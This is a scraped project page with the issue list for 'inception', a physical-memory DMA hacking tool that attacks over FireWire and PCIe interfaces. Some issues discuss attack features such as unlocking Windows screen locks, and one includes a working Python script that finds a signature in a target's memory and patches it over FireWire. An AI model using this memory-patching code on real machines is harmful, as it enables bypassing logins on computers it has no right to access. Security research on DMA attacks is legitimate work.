Coder Social home page Coder Social logo

carmaa / inception Goto Github PK

View Code? Open in Web Editor NEW
1.6K 1.6K 195.0 3.1 MB

Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces.

Python 86.44% Assembly 13.56%

inception's People

Contributors

a-ha avatar blunden avatar carmaa avatar fist0urs avatar maxgrim avatar rbsec avatar rexploit avatar waterch1ck avatar wertarbyte avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

inception's Issues

Pickpocket mode

Implement pickpocket mode that attacks any device that connects to the FW bus.

Patch openssh

  1. Search for ip + wifi essid
  2. Patch openssh
  3. ...PROFIT!?

Need fallback mechanism to linear search

A method could be to start close to known offsets and search up and downwards in memory from there since it is unlikely that the signature has propagated too far in either direction.

LD_LIBRARY_PATH fix

Some users currently have to set LD_LIBRARY_PATH to /usr/local/lib, where the libforensic1394 modules are:

export LD_LIBRARY_PATH=/usr/local/lib

Before running the tool

Implement patch mode

Implement patch mode so that it is easy to test new sigs:

incept --patch signature patch offset

Like the reference implementation:

1 # !/ usr / bin / env python
2 # -- coding : utf -8 --
3 from forensic1394 import Bus
4 from time import sleep
5 from binascii import unhexlify
6 from sys import argv
7
8 # Page size , nearly always 4096 bytes
9 PAGESIZE = 4096
10
11 def findsig (d , sig , off ):
12 # Skip the first 1 MiB of memory
13 addr = 1_1024_1024 + off
14 while True :
15 # Prepare a batch of 128 requests
16 r = [( addr + PAGESIZE *i , len ( sig )) for i in range (0 , 128)]
17
18 for caddr , cand in d. readv (r ):
19 if cand == sig : return caddr
20
21 addr += PAGESIZE * 128
22
23 # Parse the command line arguments
24 sig , patch , off = unhexlify ( argv [1]) , unhexlify ( argv [2]) , int ( argv [3])
25
26 b = Bus ()
27
28 # Enable SBP -2 support to ensure we get DMA
29 b. enable_sbp2 ()
30 sleep (2.0)
31
32 # Open the first device
33 d = b. devices ()[0]
34 d. open ()
35
36 try :
37 # Find
38 addr = findsig (d , sig , off )
39 print " Signature found at %d. " % ( addr )
40
41 # Patch and verify
42 d. write ( addr , patch )
43 assert d. read ( addr , len ( patch )) == patch
44 except IOError :
45 print " Signature not found . "

Windows 7 x64 signature robustness

Windows 7 x64 signatures are quite volatile both in offset and jump address - we need to implement fuzzy matching of the sig to make the method more robust against code changes from MS.

Patches with several signatures are not working

Search for the first signature goes infinite due to lack of "outside of memory" check.

Suggested fix: Stop phase at address 0xFFFFFFFF (4GB, FireWire max) or create more robust check for "no data" (i.e., we're out of memory bounds).

Read once per page

Read one chunk of data per page, instead of one per offset per signature like now. This will speed up the tool significantly.

Ubuntu signatures

Re-develop ubuntu signatures for less false positives and more stable operation

Unlock by only choosing major OS type

Instead of choosing 'Windows 7 [architecture] [Service Pack]', a user should be able to choose 'Unclock Windows 7' since it is not always clear what patch level the target is at.

In other words, the tool should parallel search for all signatures for a given OS.

Unicode decoding bug on Debian Squeeze

[!] Um, something went wrong: 'ascii' codec can't decode byte 0xc3 in position 1032: ordinal not in range(128)

Traceback (most recent call last):
File "/usr/local/bin/incept", line 125, in main
address, page = screenlock.attack(targets)
File "/usr/local/lib/python3.1/dist-packages/inception/screenlock.py", line 216, in attack
fw = FireWire()
File "/usr/local/lib/python3.1/dist-packages/inception/firewire.py", line 48, in init
self._oui = self.init_OUI()
File "/usr/local/lib/python3.1/dist-packages/inception/firewire.py", line 66, in init_OUI
lines = f.readlines()
File "/usr/lib/python3.1/encodings/ascii.py", line 26, in decode
return codecs.ascii_decode(input, self.errors)[0]
UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 1032: ordinal not in range(128)

Could not initialize FireWire

Hey,

I am trying to use Inception v.0.0.8 on a fresh backbox (ubuntu-based) installation.

--- SNIP ---

uname -a

Linux Angreifer 2.6.38-13-generic #53-Ubuntu SMP Mon Nov 28 19:33:45 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux

--- SNIP ---

--- SNIP ---
root@Angreifer:~# incept

Inception v.0.0.8
by Carsten Maartmann-Moe [email protected] aka ntropy [email protected] 2012
Twitter: @breaknenter Web: http://breaknenter.org

For updates, visit/clone https://github.com/carmaa/inception or visit the
Inception homepage at http://breaknenter.org/projects/inception

[!] FireWire modules do not seem to be loaded. Load them? [Y/n]:
[!] Could not initialize FireWire. Are the modules loaded into the kernel?
[!] Attack unsuccessful
--- SNIP ---

Yesterday I tried it on a Backtrack 5R2 Live-CD and the result was the same error message.

I am using a Dell Latitude D630 which has an onboard firewire port.

What is my fault?

Best regards schniggie

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.